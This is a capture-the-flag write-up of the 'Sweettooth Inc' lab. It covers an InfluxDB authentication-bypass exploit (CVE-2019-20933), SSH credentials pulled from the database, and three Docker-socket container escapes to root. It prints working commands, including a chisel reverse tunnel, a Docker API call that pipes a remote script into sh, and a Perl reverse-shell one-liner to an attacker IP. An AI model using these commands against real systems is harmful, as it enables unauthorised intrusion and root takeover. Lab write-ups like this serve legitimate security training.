← Back
SweettoothInc | Avishai’s CTF Writeups

Avishai's CTF Writeups

Yalla Balagan! A collection of my CTF writeups and solutions.

View on GitHub

TL;DR

In this challenge we exploit known CVE to get access to the InfluxDB. There we can find ssh credentials.

Then, we escape the docker in 3 different ways:

  1. Download docker to remote machine and create container
  2. SSH tunneling to local machine, and then use docker to create container on the remote host
  3. User docker api webserver to create container and execute it

Recon

we start with rustscan, using this command:

rustscan -a $target -- -sV -sC -oN nmap.txt -oX nmap.xml

rustscan results

we can see port 111 with rpc, port 2222 with ssh, port 8086 with InfluxDB http server and port 55651 with rpc.

PORT      STATE SERVICE REASON         VERSION                                                                                                               
111/tcp   open  rpcbind syn-ack ttl 62 2-4 (RPC #100000)                                                                                                     
| rpcinfo:                                                                                                                                                   
|   program version    port/proto  service                                                                                                                   
|   100000  2,3,4        111/tcp   rpcbind                                                                                                                   
|   100000  2,3,4        111/udp   rpcbind                                                                                                                   
|   100000  3,4          111/tcp6  rpcbind                                                                                                                   
|   100000  3,4          111/udp6  rpcbind                                                                                                                   
|   100024  1          42823/udp   status                                                                                                                    
|   100024  1          45037/udp6  status                                                                                                                    
|   100024  1          52158/tcp6  status                                                                                                                    
|_  100024  1          55651/tcp   status                                                                                                                    
2222/tcp  open  ssh     syn-ack ttl 61 OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)                                                                          
| ssh-hostkey: 
|   1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALOlP9Bx9VQxs4JDY8vovlJp+l+pPX2MGttzN2gGNYABXAVSF9CA14OituA5tcJd5/Nv3Ru3Xyu8Yo5SV0d82rd7L/NF5Relx+iiVF+bigo329wbV3wsIrRQGUYHXiMjAs8WqQR+XKjOm3q4QLVxe/jU1I1ddy6/xO4fL7nOSh3RAAAAFQDKuQDe9pQtmnqvJkZ7QuCGm31+vQAAAIBENh/MS3oHvz1tCC4nZYwdAYZMBj2It0gYCMvD0oSkqL9IMaP9DIt/5G3D9ARrZPeSP4CqhfryIGHS7t59RNdnc3ukEsfJPo23bPBwWdIW7HXp9XDqyY1kD6L3Tq0bpeXpeXt6FQ93rFxncZngFkCrMD4+YytS532qPHMPOWh75gAAAIA7TohVech8kWTh6KIMl2Y61s9cwUqwrTkqJIYMdZ73nP69FD0bw08vyrdAwtVnsqRaNzsVVz9sBOOz3wmp/ZNI5NiuyA0UwEcxPj5k6jCn620gBpMEzVy6a8Ih3yRYHoiVMrQ/PIuoeIGxeYGckCorv8jSz2O3pq1Fnz23FRPH2A==
|   2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbBmLBPg9mxkAdEbJGnz0v6Jzo4qdBcajkaIBKewKyz6OQTvyhVcDReSB2Dz0nl4mPCs3UN58hSNStCYXjZcpIBpqz2pHupVlqQ7u41Vo2W8u0nVFLt2U8JhTtA9wE6MA9GhitkN3Qorhxb3klCpSnWCDdcmkdNL0EYxZV53A52VWiNGX3vYkdMAKHAmp/VHvrsIeHozqflL8vD2UIoDmxDJwgXJRsr2iGVU1fL/Bu/DwlPwJkm50ua99yPpZbvCS9EwWki76aEtZSbcM4WHzx33Oe3tLXLCfKc9CJdIW35nBvpe5Dxl7gLR/mCHp2iTpdx1FmpSf+JjO/m2vKwL4X
|   256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHufHfqIZHVEKYC/yyNS+vTt35iULiIWoFNSQP/Bm/v90QzZjsYU9MSt7xdlR/2LZp9VWk32nl5JL65tvCMImxc=
|   256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEYHtE8GbpGSlNB+/3IWfYRFrkJB+N9SmKs3Uh14pPj
8086/tcp  open  http    syn-ack ttl 61 InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
55651/tcp open  status  syn-ack ttl 62 1 (RPC #100024)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I added sweettoothinc.thm to my /etc/hosts

Find username and exploit known CVE to get access to db where i can find ssh credentials

I went to port 8086, we can see it gives us 404 not found

404

Since I know this is InfluxDD version 1.3.0, I used https://exploit-notes.hdks.org/exploit/database/influxdb/, and found out the username can be enumerated at:

http://sweettoothinc.thm:8086/debug/requests

username enum

Next, we can use the exploit https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933, to pass the authentication using the username o5yY6yya we found.

┌──(.venv)(agonen㉿kali)-[~/thm/SweettoothInc/InfluxDB-Exploit-CVE-2019-20933]
└─$ python __main__.py                
/home/agonen/thm/SweettoothInc/InfluxDB-Exploit-CVE-2019-20933/__main__.py:176: SyntaxWarning: invalid escape sequence '\|'
  |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |

  _____        __ _            _____  ____    ______            _       _ _   
 |_   _|      / _| |          |  __ \|  _ \  |  ____|          | |     (_) |  
   | |  _ __ | |_| |_   ___  __ |  | | |_) | | |__  __  ___ __ | | ___  _| |_ 
   | | | '_ \|  _| | | | \ \/ / |  | |  _ <  |  __| \ \/ / '_ \| |/ _ \| | __|
  _| |_| | | | | | | |_| |>  <| |__| | |_) | | |____ >  <| |_) | | (_) | | |_ 
 |_____|_| |_|_| |_|\__,_/_/\_\_____/|____/  |______/_/\_\ .__/|_|\___/|_|\__|
                                                         | |                  
                                                         |_|                  
 - using CVE-2019-20933

Host (default: localhost): sweettoothinc.thm
Port (default: 8086): 8086
Username <OR> path to username file (default: users.txt): o5yY6yya
Host vulnerable !!!

Databases:

1) creds
2) docker
3) tanks
4) mixer
5) _internal

.quit to exit
[o5yY6yya@sweettoothinc.thm] Database:

exploit

Okay, now I navigated to creds, and found the table ssh, inside we can find ssh credentials:

[o5yY6yya@sweettoothinc.thm] Database: creds

Starting InfluxDB shell - .back to go back
[o5yY6yya@sweettoothinc.thm/creds] $ show MEASUREMENTS
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "ssh"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}
[o5yY6yya@sweettoothinc.thm/creds] $ select * from ssh
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "pw",
                        "user"
                    ],
                    "name": "ssh",
                    "values": [
                        [
                            "2021-05-16T12:00:00Z",
                            7788764472,
                            "uzJk6Ry98d8C"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}

creds

Okay, we got this credentials:

uzJk6Ry98d8C:7788764472

we can ssh to this user, remember we use port 2222

ssh uzJk6Ry98d8C@sweettoothinc.thm -p 2222 # 7788764472

user flag

we can grab the user flag:

uzJk6Ry98d8C@0e829518800b:~$ cat user.txt 
THM{V4w4FhBmtp4RFDti}

Privilege Escalation to Root using write permissions to /run/docker.sock in 3 different ways

When executing linpeas, we can see that we are inside docker container, and we can control the /run/docker.sock:

docker container

Using ps aux we can find the port the api docker is listening to:

uzJk6Ry98d8C@0e829518800b:~$ ps aux | grep docker
root         1  0.0  0.5  20048  2792 ?        Ss   12:25   0:00 /bin/bash -c chmod a+rw /var/run/docker.sock && service ssh start & /bin/su uzJk6Ry98d8C -c '/initializeandquery.sh & /entrypoint.sh influxd'
uzJk6Ry+  6931  0.0  0.5  19652  2652 ?        S    12:26   0:00 socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CLIENT:/var/run/docker.sock
uzJk6Ry+ 30903  0.0  0.1  11132   952 pts/0    S+   15:30   0:00 grep docker

So, we have the socket listening to port 8080.

We have 3 ways to get docker escape:

1: Download docker stand alone to the remote machine

We can find standalone docker binaries here https://download.docker.com/linux/static/stable/x86_64/. We will download the docker-18.09.1.tgz, we can’t use the latest version.

curl https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O

docker download

Now, after downloading the docker, we can use it escape the container. First, list images:

uzJk6Ry98d8C@0e829518800b:/tmp/docker$ ./docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
sweettoothinc       latest              26a697c0d00f        4 years ago         359MB
influxdb            1.3.0               e1b5eda429c3        8 years ago         227MB

Then, create docker container, and use it:

./docker run -v /:/mnt -it e1b5eda429c3 chroot /mnt sh

docker escape

we can grab all the root flags:

uzJk6Ry98d8C@0e829518800b:/tmp/docker$ ./docker run -v /:/mnt -it e1b5eda429c3 chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# cat root.txt
THM{nY2ZahyFABAmjrnx}
# find / -name "root.txt" 2>/dev/null
/root/root.txt
/var/lib/docker/aufs/mnt/02e6524cfb18538229cbdf56e6caefecbf12f954b1d27f43cf333911231bb61f/root/root.txt
/var/lib/docker/aufs/diff/20629420626c70a9bdf5807427da0badebc8e5d842cb82ae3ff83822b18c9e2a/root/root.txt
# cat /var/lib/docker/aufs/mnt/02e6524cfb18538229cbdf56e6caefecbf12f954b1d27f43cf333911231bb61f/root/root.txt
THM{5qsDivHdCi2oabwp}
# cat /var/lib/docker/aufs/diff/20629420626c70a9bdf5807427da0badebc8e5d842cb82ae3ff83822b18c9e2a/root/root.txt
THM{5qsDivHdCi2oabwp}

2: Port tunneling and user our local docker binary

We’ll upload chisel to port forward the port 8008, and then we can use our local docker.

After uploading, we execute this on our local machine:

chisel server --reverse -p 1234

and on the remote machine:

./chisel client 192.168.164.248:1234 R:8089:127.0.0.1:8080

Now, we can access the socket at port 8089:

┌──(agonen㉿kali)-[~/thm/SweettoothInc]                                                                                                                                                                           
└─$ curl http://localhost:8089/images/json -s | jq                                                                                                                                                                
[                                                                                                                                                            
  {                                                                                                                                                          
    "Containers": -1,                                                                                                                                        
    "Created": 1621349458,                                                                                                                                   
    "Id": "sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e",                                                                         
    "Labels": {},                                                                                                                                            
    "ParentId": "sha256:213cc0db00922f32cf219291c2f81dfd410304b093a44703927a1db630d7722d",                                                                   
    "RepoDigests": null,                                                                                                                                     
    "RepoTags": [                                                                                                                                            
      "sweettoothinc:latest"                                                                                                                                 
    ],                                                                                                                                                       
    "SharedSize": -1,                                                         
    "Size": 358659530,                                                        
    "VirtualSize": 358659530                                                  
  },                                                                          
  {                                                                           
    "Containers": -1,                                
    "Created": 1499487353,               
    "Id": "sha256:e1b5eda429c335c11c07ea85e63f8a60518af69212f19fe50a2a28717744b384",                                                                         
    "Labels": {},                                    
    "ParentId": "",                                                                                                                                          
    "RepoDigests": [                                 
      "influxdb@sha256:99ef42027ac794b038ceb829537e92881e7648fa8c62c89ce84531d69177a635"                                                                     
    ],                                 
    "RepoTags": [                                                                                                                                            
      "influxdb:1.3.0"                 
    ],                                                                                                                                                       
    "SharedSize": -1,                  
    "Size": 227323286,                 
    "VirtualSize": 227323286
  }                                    
]

upload chisel

Okay, notice we need to use older version of docker, we can use the same docker we downloaded before.

┌──(agonen㉿kali)-[~/thm/SweettoothInc/docker]
└─$ ./docker -H tcp://localhost:8089 images 
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
sweettoothinc       latest              26a697c0d00f        4 years ago         359MB
influxdb            1.3.0               e1b5eda429c3        8 years ago         227MB

Now, we can easily use almost the same command as before:

./docker -H tcp://localhost:8089 run -v /:/mnt -it e1b5eda429c3 chroot /mnt sh

docker escape

So, we simply needed to add -H tcp://localhost:8089.

3: Create container using the docker api webserver

We’ll use the official documentation, here https://docs.docker.com/reference/api/engine/version/v1.52/#tag/Image/operation/ImageList.

First, get all images:

curl http://localhost:8080/images/json -s

After jq:

[
  {
    "Containers": -1,
    "Created": 1621349458,
    "Id": "sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e",
    "Labels": {},
    "ParentId": "sha256:213cc0db00922f32cf219291c2f81dfd410304b093a44703927a1db630d7722d",
    "RepoDigests": null,
    "RepoTags": [
      "sweettoothinc:latest"
    ],
    "SharedSize": -1,
    "Size": 358659530,
    "VirtualSize": 358659530
  },
  {
    "Containers": -1,
    "Created": 1499487353,
    "Id": "sha256:e1b5eda429c335c11c07ea85e63f8a60518af69212f19fe50a2a28717744b384",
    "Labels": {},
    "ParentId": "",
    "RepoDigests": [
      "influxdb@sha256:99ef42027ac794b038ceb829537e92881e7648fa8c62c89ce84531d69177a635"
    ],
    "RepoTags": [
      "influxdb:1.3.0"
    ],
    "SharedSize": -1,
    "Size": 227323286,
    "VirtualSize": 227323286
  }
]

Then, we want to list all the containers:

curl http://localhost:8080/containers/json -s

and after jq

[
  {
    "Id": "0e829518800b893d1cc82b6f90e1ada3b391b3ae1d08a3aca3565176207b7703",
    "Names": [
      "/sweettoothinc"
    ],
    "Image": "sweettoothinc:latest",
    "ImageID": "sha256:26a697c0d00f06d8ab5cd16669d0b4898f6ad2c19c73c8f5e27231596f5bec5e",
    "Command": "/bin/bash -c 'chmod a+rw /var/run/docker.sock && service ssh start & /bin/su uzJk6Ry98d8C -c '/initializeandquery.sh & /entrypoint.sh influxd''",
    "Created": 1766924728,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 22,
        "PublicPort": 2222,
        "Type": "tcp"
      },
      {
        "IP": "0.0.0.0",
        "PrivatePort": 8086,
        "PublicPort": 8086,
        "Type": "tcp"
      }
    ],
    "Labels": {},
    "State": "running",
    "Status": "Up 4 hours",
    "HostConfig": {
      "NetworkMode": "default"
    },
    "NetworkSettings": {
      "Networks": {
        "bridge": {
          "IPAMConfig": null,
          "Links": null,
          "Aliases": null,
          "NetworkID": "cca5827e544907f8ea7da6515efc3e9e4cae93eb15a0cff24fd9514380decf0b",
          "EndpointID": "32199ec95c307d0a8df2a4912c64139b7e7ea5fa049af76fa0d37fd500e6b465",
          "Gateway": "172.17.0.1",
          "IPAddress": "172.17.0.2",
          "IPPrefixLen": 16,
          "IPv6Gateway": "",
          "GlobalIPv6Address": "",
          "GlobalIPv6PrefixLen": 0,
          "MacAddress": "02:42:ac:11:00:02",
          "DriverOpts": null
        }
      }
    },
    "Mounts": [
      {
        "Type": "volume",
        "Name": "b4754572db56b9c65af977f24c84baddca697d3f02719fb5ad1e83851a2ec606",
        "Source": "",
        "Destination": "/var/lib/influxdb",
        "Driver": "local",
        "Mode": "",
        "RW": true,
        "Propagation": ""
      },
      {
        "Type": "bind",
        "Source": "/var/run/docker.sock",
        "Destination": "/var/run/docker.sock",
        "Mode": "",
        "RW": true,
        "Propagation": "rprivate"
      }
    ]
  }
]

get json obj

Okay, I want to create container based on the image influxdb:1.3.0, the idea is to create something like this line is doing, I’m giving the penelope payload for reverse shell:

docker run -v /:/mnt -it influxdb:1.3.0 sh -c "id"

Okay, let’s create a container:

curl -X POST http://localhost:8080/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "influxdb:1.3.0",
    "Cmd": ["/bin/sh","-c","curl http://192.168.164.248:8081/rev_shell.sh|sh"],
    "Tty": true,
    "OpenStdin": true,
    "HostConfig": {
      "Binds": ["/:/mnt"]
    }
  }'

and we got back

{
  "Id": "007ae49859918a7e460135a28b2dbfb9108cc4518f22e05e7a3ab4599371443c",
  "Warnings": null
}

Then, we need to start the container:

curl -X POST http://localhost:8080/containers/007ae49859918a7e460135a28b2dbfb9108cc4518f22e05e7a3ab4599371443c/start 

create and start

we can view the stdout and stderr:

curl 'http://localhost:8080/containers/007ae49859918a7e460135a28b2dbfb9108cc4518f22e05e7a3ab4599371443c/logs?stdout=true&stderr=true'

You can see it requested rev_shell.sh, however, it isn’t exist.

view error

After navigating through https://www.revshells.com/, I found working payload for reverse shell

perl -e 'use Socket;$i="192.168.164.248";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

rev shell

and that’s it, we got our reverse shell in 3 different ways.